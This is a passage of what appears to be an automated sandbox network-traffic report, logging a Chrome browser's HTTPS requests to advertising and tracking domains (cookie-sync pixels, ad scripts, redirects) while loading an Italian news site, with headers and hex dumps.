32 30 25 32 36 75 69 64 25 33 44 34 38 64 35 37 31 33 64 35 63 35 36 33 63 62 Data Ascii: e5d<html><head><title></title></head><body><img style="display:none;" src="https://secure.adnxs.com/getuid?https%3A%2F%2Fvisitor-us-west-2.omnitagjs.com%2Fvisitor%2Fsync%3Fname%3DXandr%2B%25E2%2580%2593%2BInvest%2BDSP%26ttl%3D720%26uid%3D48d5713d5c563cb
2024-03-28 08:51:28 UTC	1320	IN	Data Raw: 35 32 31 0d 0a 73 2e 63 6f 6d 2f 75 73 79 6e 63 2f 3f 70 75 62 49 64 3d 37 61 30 37 33 37 30 32 32 37 66 63 30 30 30 26 67 64 70 72 3d 30 26 67 64 70 72 5f 63 6f 6e 73 65 6e 74 3d 22 3e 3c 2f 69 66 72 61 6d 65 3e 3c 69 6d 67 20 73 74 79 6c 65 3d 22 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 3b 22 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 63 73 2d 73 65 72 76 65 72 2d 73 32 73 2e 79 65 6c 6c 6f 77 62 6c 75 65 2e 69 6f 2f 73 79 6e 63 2d 69 66 72 61 6d 65 3f 72 65 64 69 72 65 63 74 3d 68 74 74 70 73 25 33 41 25 32 46 25 32 46 76 69 73 69 74 6f 72 2d 75 73 2d 77 65 73 74 2d 32 2e 6f 6d 6e 69 74 61 67 6a 73 2e 63 6f 6d 25 32 46 76 69 73 69 74 6f 72 25 32 46 73 79 6e 63 25 33 46 6e 61 6d 65 25 33 44 52 49 53 45 5f 43 4f 44 45 53 25 32 36 74 74 6c 25 33 44 37 32 30 25 Data Ascii: 521s.com/usync/?pubId=7a07370227fc000&gdpr=0&gdpr_consent="></iframe><img style="display:none;" src="https://cs-server-s2s.yellowblue.io/sync-iframe?redirect=https%3A%2F%2Fvisitor-us-west-2.omnitagjs.com%2Fvisitor%2Fsync%3Fname%3DRISE_CODES%26ttl%3D720%
2024-03-28 08:51:28 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
331	192.168.2.4	50161	52.85.132.66	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:28 UTC	538	OUT	GET /connectId-gpt.js HTTP/1.1 Host: connectid.analytics.yahoo.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://bsnews.it/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-03-28 08:51:28 UTC	682	IN	HTTP/1.1 200 OK Content-Type: application/javascript Content-Length: 8730 Connection: close Last-Modified: Tue, 17 Oct 2023 13:17:45 GMT x-amz-expiration: expiry-date="Tue, 17 Oct 2028 00:00:00 GMT", rule-id="webapp-standard-lifecycle" x-amz-server-side-encryption: AES256 Accept-Ranges: bytes Server: AmazonS3 Date: Thu, 28 Mar 2024 08:04:48 GMT Cache-Control: max-age=3600 ETag: "c46e30de24d0f12167e302e9e32ff4a5" X-Cache: Hit from cloudfront Via: 1.1 ec809871438c11b540493503de981368.cloudfront.net (CloudFront) X-Amz-Cf-Pop: IAD50-C2 X-Amz-Cf-Id: 3QggcEhq4zfsIA_3_KBkQiqr99Zble4EUyyru5UwcXRWLLJ351cDkA== Age: 2801 Content-Security-Policy: default-src 'self'
2024-03-28 08:51:28 UTC	8730	IN	Data Raw: 28 28 29 3d 3e 7b 76 61 72 20 74 3d 7b 34 30 34 3a 28 74 2c 65 29 3d 3e 7b 21 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 3d 7b 7d 3b 66 75 6e 63 74 69 6f 6e 20 6e 28 6f 29 7b 69 66 28 65 5b 6f 5d 29 72 65 74 75 72 6e 20 65 5b 6f 5d 2e 65 78 70 6f 72 74 73 3b 76 61 72 20 72 3d 65 5b 6f 5d 3d 7b 69 3a 6f 2c 6c 3a 21 31 2c 65 78 70 6f 72 74 73 3a 7b 7d 7d 3b 72 65 74 75 72 6e 20 74 5b 6f 5d 2e 63 61 6c 6c 28 72 2e 65 78 70 6f 72 74 73 2c 72 2c 72 2e 65 78 70 6f 72 74 73 2c 6e 29 2c 72 2e 6c 3d 21 30 2c 72 2e 65 78 70 6f 72 74 73 7d 6e 2e 6d 3d 74 2c 6e 2e 63 3d 65 2c 6e 2e 64 3d 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 6f 29 7b 6e 2e 6f 28 74 2c 65 29 7c 7c 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 28 74 2c 65 2c 7b 65 6e 75 6d 65 Data Ascii: (()=>{var t={404:(t,e)=>{!function(t){var e={};function n(o){if(e[o])return e[o].exports;var r=e[o]={i:o,l:!1,exports:{}};return t[o].call(r.exports,r,r.exports,n),r.l=!0,r.exports}n.m=t,n.c=e,n.d=function(t,e,o){n.o(t,e)\|\|Object.defineProperty(t,e,{enume

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
332	192.168.2.4	50155	142.250.31.155	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:28 UTC	796	OUT	GET /pixel?google_nid=openx&google_hm=MDFhMTZlYzMtOGM5NC02YzNiLTdjNDctMGNhZDRhZmJlODg3 HTTP/1.1 Host: cm.g.doubleclick.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiVocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://us-u.openx.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: test_cookie=CheckForPermission
2024-03-28 08:51:28 UTC	374	IN	HTTP/1.1 200 OK Content-Type: image/png Date: Thu, 28 Mar 2024 08:51:28 GMT Pragma: no-cache Expires: Fri, 01 Jan 1990 00:00:00 GMT Cache-Control: no-cache, must-revalidate Cross-Origin-Resource-Policy: cross-origin Server: HTTP server (unknown) Content-Length: 170 X-XSS-Protection: 0 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-03-28 08:51:28 UTC	170	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 01 00 00 00 01 08 06 00 00 00 1f 15 c4 89 00 00 00 06 62 4b 47 44 00 ff 00 ff 00 ff a0 bd a7 93 00 00 00 09 70 48 59 73 00 00 0b 13 00 00 0b 13 01 00 9a 9c 18 00 00 00 07 74 49 4d 45 07 d7 05 1d 0d 0d 2d 51 d5 37 6e 00 00 00 1d 74 45 58 74 43 6f 6d 6d 65 6e 74 00 43 72 65 61 74 65 64 20 77 69 74 68 20 54 68 65 20 47 49 4d 50 ef 64 25 6e 00 00 00 0d 49 44 41 54 08 d7 63 a8 69 79 e5 00 00 05 95 02 2b 03 a2 de f7 00 00 00 00 49 45 4e 44 ae 42 60 82 0a Data Ascii: PNGIHDRbKGDpHYstIME-Q7ntEXtCommentCreated with The GIMPd%nIDATciy+IENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
333	192.168.2.4	50135	99.84.210.115	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:28 UTC	531	OUT	GET /uid2SecureSignal.js HTTP/1.1 Host: cdn.prod.uidapi.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://bsnews.it/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-03-28 08:51:28 UTC	589	IN	HTTP/1.1 200 OK Content-Type: text/javascript Content-Length: 2776 Connection: close x-amz-replication-status: COMPLETED Last-Modified: Thu, 19 Oct 2023 06:40:11 GMT x-amz-server-side-encryption: AES256 x-amz-version-id: KP_OVZMS6roEW_XJdOd.KnSEmM8GWiP3 Accept-Ranges: bytes Server: AmazonS3 Date: Thu, 28 Mar 2024 08:37:48 GMT ETag: "a3a9a9ee8e72db69d54e805f0586c651" X-Cache: Hit from cloudfront Via: 1.1 de6760156d781e28f72545a2e9243b26.cloudfront.net (CloudFront) X-Amz-Cf-Pop: IAD79-C1 X-Amz-Cf-Id: UmYN7_aRLQxZvfVdcoJo9lu5zKvOFG8MXXHiKxCTowwyT2NMKAbL3Q== Age: 862
2024-03-28 08:51:28 UTC	2776	IN	Data Raw: 28 28 29 3d 3e 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 28 7b 35 35 31 3a 66 75 6e 63 74 69 6f 6e 28 69 2c 65 29 7b 76 61 72 20 6e 3d 74 68 69 73 26 26 74 68 69 73 2e 5f 5f 61 77 61 69 74 65 72 7c 7c 66 75 6e 63 74 69 6f 6e 28 69 2c 65 2c 6e 2c 6f 29 7b 72 65 74 75 72 6e 20 6e 65 77 28 6e 7c 7c 28 6e 3d 50 72 6f 6d 69 73 65 29 29 28 28 66 75 6e 63 74 69 6f 6e 28 72 2c 74 29 7b 66 75 6e 63 74 69 6f 6e 20 64 28 69 29 7b 74 72 79 7b 63 28 6f 2e 6e 65 78 74 28 69 29 29 7d 63 61 74 63 68 28 69 29 7b 74 28 69 29 7d 7d 66 75 6e 63 74 69 6f 6e 20 67 28 69 29 7b 74 72 79 7b 63 28 6f 2e 74 68 72 6f 77 28 69 29 29 7d 63 61 74 63 68 28 69 29 7b 74 28 69 29 7d 7d 66 75 6e 63 74 69 6f 6e 20 63 28 69 29 7b 76 61 72 20 65 3b 69 2e 64 6f 6e 65 3f 72 28 69 2e 76 61 6c 75 Data Ascii: (()=>{"use strict";({551:function(i,e){var n=this&&this.__awaiter\|\|function(i,e,n,o){return new(n\|\|(n=Promise))((function(r,t){function d(i){try{c(o.next(i))}catch(i){t(i)}}function g(i){try{c(o.throw(i))}catch(i){t(i)}}function c(i){var e;i.done?r(i.valu

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
334	192.168.2.4	50140	162.55.236.224	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:28 UTC	768	OUT	GET /a16582f729b43087fa6353b148f7ea54/?uid=a109dc60-dc7c-45e5-ab53-e2448a53420f&gdpr=0&euconsent=&domain=sync.richaudience.com HTTP/1.1 Host: sync.richaudience.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://sync.richaudience.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: pdid=2c9d0f98-4385-4c43-ba27-1zz1711615376; raibs=1
2024-03-28 08:51:28 UTC	431	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 28 Mar 2024 08:43:08 GMT Content-Type: image/png Transfer-Encoding: chunked Connection: close X-Powered-By: PHP/8.2.4 P3P: CP="IDC DSP COR ADM DEVi TAIi PSA PSD IVAi IVDi CONi HIS OUR IND CNT" Set-Cookie: avcid-ttd-uid=a109dc60-dc7c-45e5-ab53-e2448a53420f; expires=Wed, 26 Jun 2024 08:43:08 GMT; Max-Age=7776000; path=/; domain=.richaudience.com; secure; HttpOnly; SameSite=None
2024-03-28 08:51:28 UTC	106	IN	Data Raw: 35 66 0d 0a 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 01 00 00 00 01 01 03 00 00 00 25 db 56 ca 00 00 00 03 50 4c 54 45 00 00 00 a7 7a 3d da 00 00 00 01 74 52 4e 53 00 40 e6 d8 66 00 00 00 0a 49 44 41 54 08 d7 63 60 00 00 00 02 00 01 e2 21 bc 33 00 00 00 00 49 45 4e 44 ae 42 60 82 0d 0a 30 0d 0a 0d 0a Data Ascii: 5fPNGIHDR%VPLTEz=tRNS@fIDATc`!3IENDB`0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
335	192.168.2.4	50168	208.115.237.110	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:28 UTC	408	OUT	GET /hb/ HTTP/1.1 Host: shb.richaudience.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: pdid=2c9d0f98-4385-4c43-ba27-1zz1711615376; raibs=1
2024-03-28 08:51:28 UTC	313	IN	HTTP/1.1 200 OK Server: nginx/1.14.1 Date: Thu, 28 Mar 2024 08:51:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Access-Control-Allow-Origin: Access-Control-Allow-Credentials: true Access-Control-Max-Age: 86400
2024-03-28 08:51:28 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
336	192.168.2.4	50126	141.95.98.65	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:28 UTC	541	OUT	GET /lb/v1 HTTP/1.1 Host: lb.eu-1-id5-sync.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: https://bsnews.it Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://bsnews.it/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-03-28 08:51:28 UTC	371	IN	HTTP/1.1 200 vary: Origin vary: Access-Control-Request-Method vary: Access-Control-Request-Headers access-control-allow-origin: https://bsnews.it vary: Origin content-type: application/json;charset=UTF-8 transfer-encoding: chunked date: Thu, 28 Mar 2024 08:51:27 GMT strict-transport-security: max-age=63072000; includeSubDomains; preload connection: close
2024-03-28 08:51:28 UTC	39	IN	Data Raw: 32 31 0d 0a 7b 22 6c 62 22 3a 22 48 4d 51 30 37 2f 72 37 58 2b 78 2f 33 51 50 71 69 47 7a 4a 58 51 3d 3d 22 7d 0d 0a Data Ascii: 21{"lb":"HMQ07/r7X+x/3QPqiGzJXQ=="}
2024-03-28 08:51:28 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
337	192.168.2.4	50147	142.250.31.155	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:28 UTC	757	OUT	GET /pixel?google_nid=openx&google_cm&google_sc HTTP/1.1 Host: cm.g.doubleclick.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiVocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://us-u.openx.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: test_cookie=CheckForPermission
2024-03-28 08:51:28 UTC	981	IN	HTTP/1.1 302 Found P3P: policyref="https://googleads.g.doubleclick.net/pagead/gcn_p3p_.xml", CP="CURa ADMa DEVa TAIo PSAo PSDo OUR IND UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Location: https://us-u.openx.net/w/1.0/sd?id=537072991&val=CAESEAhGB7mgB6UMzgq-biVLnZA&google_cver=1 Date: Thu, 28 Mar 2024 08:51:28 GMT Pragma: no-cache Expires: Fri, 01 Jan 1990 00:00:00 GMT Cache-Control: no-cache, must-revalidate Cross-Origin-Resource-Policy: cross-origin Content-Type: text/html; charset=UTF-8 Server: HTTP server (unknown) Content-Length: 295 X-XSS-Protection: 0 Set-Cookie: IDE=AHWqTUmShSMxYxGFdBdbQr33hUW57CkIIiyjPSwPpfzgsFihb9v58v_rNj8X6JwdIeU; expires=Sat, 28-Mar-2026 08:51:28 GMT; path=/; domain=.doubleclick.net; Secure; HttpOnly; SameSite=none Set-Cookie: test_cookie=; expires=Fri, 01-Aug-2008 22:45:55 GMT; path=/; domain=.doubleclick.net; Secure; HttpOnly; SameSite=none Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-03-28 08:51:28 UTC	271	IN	Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 3c 54 49 54 4c 45 3e 33 30 32 20 4d 6f 76 65 64 3c 2f 54 49 54 4c 45 3e 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 33 30 32 20 4d 6f 76 65 64 3c 2f 48 31 3e 0a 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 0a 3c 41 20 48 52 45 46 3d 22 68 74 74 70 73 3a 2f 2f 75 73 2d 75 2e 6f 70 65 6e 78 2e 6e 65 74 2f 77 2f 31 2e 30 2f 73 64 3f 69 64 3d 35 33 37 30 37 32 39 39 31 26 61 6d 70 3b 76 61 6c 3d 43 41 45 53 45 41 68 47 42 37 6d 67 42 36 55 4d 7a 67 71 2d 62 69 56 4c 6e 5a 41 26 61 6d 70 3b 67 6f Data Ascii: <HTML><HEAD><meta http-equiv="content-type" content="text/html;charset=utf-8"><TITLE>302 Moved</TITLE></HEAD><BODY><H1>302 Moved</H1>The document has moved<A HREF="https://us-u.openx.net/w/1.0/sd?id=537072991&val=CAESEAhGB7mgB6UMzgq-biVLnZA&go
2024-03-28 08:51:28 UTC	24	IN	Data Raw: 65 3c 2f 41 3e 2e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: e</A>.</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
338	192.168.2.4	50149	142.250.31.155	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:28 UTC	991	OUT	GET /pixel?google_nid=zeotap_ddp&google_cm&google_hm=NWI5NWEzZGItMWEzYS00YzVkLTdiYzQtODA1ZjEyOGQ4NTFi&zpartnerid=1&env=mWeb&eventType=pageview&id_mid_4=5b95a3db-1a3a-4c5d-7bc4-805f128d851b&reqId=212c3ed0-3dd8-4750-606c-8892c7edded6&zdid=648 HTTP/1.1 Host: cm.g.doubleclick.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiVocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://spl.zeotap.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: IDE=AHWqTUmPjRXU116N4cALuUcO4mFSiWH6-xzO8kDIV2B1GvhWpP82j3l9eYwyWrfzUE0
2024-03-28 08:51:29 UTC	790	IN	HTTP/1.1 302 Found P3P: policyref="https://googleads.g.doubleclick.net/pagead/gcn_p3p_.xml", CP="CURa ADMa DEVa TAIo PSAo PSDo OUR IND UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Location: https://mwzeom.zeotap.com/mw?google_gid=CAESEEsi_bRI3GLpfUTpWd4PH8g&google_cver=1&zpartnerid=1&env=mWeb&eventType=pageview&id_mid_4=5b95a3db-1a3a-4c5d-7bc4-805f128d851b&reqId=212c3ed0-3dd8-4750-606c-8892c7edded6&zdid=648 Date: Thu, 28 Mar 2024 08:51:29 GMT Pragma: no-cache Expires: Fri, 01 Jan 1990 00:00:00 GMT Cache-Control: no-cache, must-revalidate Cross-Origin-Resource-Policy: cross-origin Content-Type: text/html; charset=UTF-8 Server: HTTP server (unknown) Content-Length: 445 X-XSS-Protection: 0 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-03-28 08:51:29 UTC	445	IN	Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 3c 54 49 54 4c 45 3e 33 30 32 20 4d 6f 76 65 64 3c 2f 54 49 54 4c 45 3e 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 33 30 32 20 4d 6f 76 65 64 3c 2f 48 31 3e 0a 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 0a 3c 41 20 48 52 45 46 3d 22 68 74 74 70 73 3a 2f 2f 6d 77 7a 65 6f 6d 2e 7a 65 6f 74 61 70 2e 63 6f 6d 2f 6d 77 3f 67 6f 6f 67 6c 65 5f 67 69 64 3d 43 41 45 53 45 45 73 69 5f 62 52 49 33 47 4c 70 66 55 54 70 57 64 34 50 48 38 67 26 61 6d 70 3b 67 6f 6f 67 6c 65 5f 63 76 65 72 3d 31 26 61 Data Ascii: <HTML><HEAD><meta http-equiv="content-type" content="text/html;charset=utf-8"><TITLE>302 Moved</TITLE></HEAD><BODY><H1>302 Moved</H1>The document has moved<A HREF="https://mwzeom.zeotap.com/mw?google_gid=CAESEEsi_bRI3GLpfUTpWd4PH8g&google_cver=1&a

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
339	192.168.2.4	50133	162.55.236.224	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:28 UTC	738	OUT	GET /2066127a3f7c6635eb4f6cac536feb5a/?gdpr=0&euconsent=&uid=ZgUvi9HM46UAADq7ABhzMwAACsEAAAIB HTTP/1.1 Host: sync.richaudience.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ssum-sec.casalemedia.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: pdid=2c9d0f98-4385-4c43-ba27-1zz1711615376; raibs=1
2024-03-28 08:51:29 UTC	427	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 28 Mar 2024 08:43:09 GMT Content-Type: image/png Transfer-Encoding: chunked Connection: close X-Powered-By: PHP/8.2.4 P3P: CP="IDC DSP COR ADM DEVi TAIi PSA PSD IVAi IVDi CONi HIS OUR IND CNT" Set-Cookie: avcid-inx-uid=ZgUvi9HM46UAADq7ABhzMwAACsEAAAIB; expires=Wed, 26 Jun 2024 08:43:09 GMT; Max-Age=7776000; path=/; domain=.richaudience.com; secure; HttpOnly; SameSite=None
2024-03-28 08:51:29 UTC	106	IN	Data Raw: 35 66 0d 0a 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 01 00 00 00 01 01 03 00 00 00 25 db 56 ca 00 00 00 03 50 4c 54 45 00 00 00 a7 7a 3d da 00 00 00 01 74 52 4e 53 00 40 e6 d8 66 00 00 00 0a 49 44 41 54 08 d7 63 60 00 00 00 02 00 01 e2 21 bc 33 00 00 00 00 49 45 4e 44 ae 42 60 82 0d 0a 30 0d 0a 0d 0a Data Ascii: 5fPNGIHDR%VPLTEz=tRNS@fIDATc`!3IENDB`0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
340	192.168.2.4	50152	34.36.216.150	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:29 UTC	612	OUT	GET /dmp/pixelSync?nid=48 HTTP/1.1 Host: pixel-sync.sitescout.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ssum-sec.casalemedia.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-03-28 08:51:29 UTC	418	IN	HTTP/1.1 302 Found set-cookie: ssi=035fb342-304f-4e3b-b2b9-1e0903ffb19a#1711615889092; Domain=.sitescout.com; Expires=Fri, 28-Mar-2025 08:51:29 GMT; Path=/; Secure; SameSite=None location: https://pixel-sync.sitescout.com/dmp/pixelSync?cookieQ=1&nid=48 Content-Length: 0 date: Thu, 28 Mar 2024 08:51:28 GMT server: A via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
341	192.168.2.4	50151	34.160.19.107	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:29 UTC	646	OUT	GET /cm/api/index?cm_dsp_id=191&cm_user_id=%3cIndex_user_id%3e HTTP/1.1 Host: dmp.brand-display.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ssum-sec.casalemedia.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
